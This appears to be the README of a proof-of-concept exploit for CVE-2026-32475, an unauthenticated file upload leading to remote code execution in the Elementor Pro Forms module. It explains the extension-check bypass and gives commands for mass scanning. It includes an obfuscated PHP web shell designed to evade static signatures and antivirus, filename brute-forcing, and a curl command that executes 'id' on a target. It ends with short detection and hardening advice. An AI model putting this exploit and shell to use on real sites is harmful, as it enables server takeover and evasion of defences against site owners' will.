
CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行につながります。マススキャン、ファイル名のブルートフォース確認、および認可されたテスト用の組み込み難読化ウェブシェルを含みます。
Elementor Pro 事前認証の任意ファイルアップロードによるリモートコード実行
CVE-2026-32475 の概念実証コードです。Elementor Pro の Forms モジュールにおける深刻な認証なし任意ファイルアップロードが、リモートコード実行に至るものです。この PoC は、同じアップロードフィールドに対して2つのファイルパートを送信します — 空の最初のエントリ(空のファイル名で UPLOAD_ERR_NO_FILE をトリガー)に続いてペイロードを送信します。validation() ループは空のエントリで return により早期終了し、process_field() は continue でスキップするため、ペイロードは拡張子チェックを受けることなく、公開ディレクトリに .php 拡張子で保存されます。修正後の動作をテストする PoC(パッチ適用後の同じリクエスト)は、拡張子チェックによって拒否される必要があります。
注記: この PoC は、許可されたセキュリティテストおよび研究のみを目的としています。CVE-2026-32475 は現在活発に悪用されており、Wordfence は8月19日の開示以降、190,000件以上の試行をブロックしています。いかなるシステムをテストする前に、適用されるすべての法律を遵守し、書面による許可を得る責任はあなたにあります。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<= 4.2.1requests ライブラリ依存関係のインストール:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell は、最小限の難読化 PHP ウェブシェル(キーワードは chr()/implode/strrev で実行時に構築、コマンドパラメータは vapcom)をアップロードするため、単純な静的シグネチャやディスク上の AV リアルタイムスキャンで検出されません。保存されるファイル名は依然としてランダム(<uniqid()>.php)です。--brute と組み合わせると、?vapcom=echo <marker> をプローブし、exec confirmed: <name>.php を報告します。特定後の手動使用:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| 引数 | 説明 | デフォルト |
|---|---|---|
-t, --target | 単一ターゲット URL | - |
-T, --targets | ターゲット URL を1行に1つずつ含むファイル | - |
-o, --output | 結果ファイル(CSV: target, status, form_id, post_id, field, note) | - |
--timeout | リクエストタイムアウト(秒) | 15 |
--post-id | 検出された post_id を上書き | auto |
--form-id | 検出された form_id(Elementor ウィジェット ID)を上書き | auto |
--field | 検出されたアップロードフィールドの custom_id を上書き | auto |
--payload | カスタムペイロードファイルのパス(デフォルト: 良性の PHP トークンファイル) | 良性トークン |
--shell | トークンの代わりに組み込みの難読化 PHP ウェブシェル(実行時に構築される <?php ... system($_GET) ?>、パラメータ vapcom)をアップロード | off |
--brute | アップロード成功後、uniqid() ファイル名をブルートフォースしてコード実行を確認 | off |
--seconds-window | サーバーの Date ヘッダーの前後のブルートフォース対象秒数 | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
AJAX レスポンスで success:true が返された場合、ペイロードが拡張子チェックなしで受け入れられたことを意味します。--brute を使用したステップ4(推測した .php ファイルにマーカーが含まれ、200 が返されること)で、サーバーサイドでの PHP 実行、つまり完全な RCE が確認されます。
結果ステータス: vulnerable | patched | unknown | error
vulnerable — Web サーバーが "success":true を返した。ペイロードが拡張子チェックをスキップしたpatched — アップロードがファイルタイプエラーで拒否された(拡張子チェックが実行された)unknown — HTTP は成功したが、レスポンスが success:true ではなかった(ID が誤っているか、予期しない状態)error — リクエスト/解析の失敗(タイムアウト、200以外、フォームが見つからない)<uniqid()>.<攻撃者指定の拡張子> です — 送信されたベースネームは破棄されるため、二重拡張子やヌルバイトのトリックは無関係です。重要なのは拡張子チェックのみであり、それが破られる部分です。wp-content/uploads/elementor/forms/ に .htaccess を同梱しており、すべてのファイルに Content-Disposition: attachment を設定します。これは実行を止めません — PHP は依然としてサーバーサイドで実行され、ダウンロードされたレスポンスは実行された出力です。ラボでブラウザ内にシェルを表示するには、その .htaccess を無効にしてください。実環境ではこれは見た目上のものに過ぎず、サーバーレベルの PHP ブロックに依存してください。uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec) であるため、ファイル名は時間から導出されます(Unix 秒、下位32ビット、+マイクロ秒)。ブルートフォースステップは、送信レスポンスの Date ヘッダーで観測された秒を基準にし、.php ファイルに対して ?vapcom=echo <marker>(トークン/--payload ファイルの場合は ?c=)をリクエストするため、マーカーを含むレスポンスは単なるファイル読み取りではなく、実際のサーバーサイド PHP 実行です。最悪の場合、毎秒約100万のマイクロ秒推測が必要なため、--seconds-window を狭めて実行時間を短くしてください。# アップロードディレクトリに存在すべきでない PHP ファイル
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta ファイルはすべて侵害の証拠として扱ってください。/wp-content/uploads/elementor/forms/ 配下への GET と、elementor_pro_forms_send_form を含む POST を検索してください。mu-plugins、改変されたコア/テーマファイル、予期しない WP-Cron イベントを探し、その場でのクリーンアップよりも既知の正常なバックアップからの復元を優先してください。location ルールまたは Apache の <FilesMatch>)。これが恒久的な修正であり、今回および将来のアップロードバグを「ディスクの無駄遣い」に格下げします。elementor_pro_forms_send_form アクションのログを監査してください。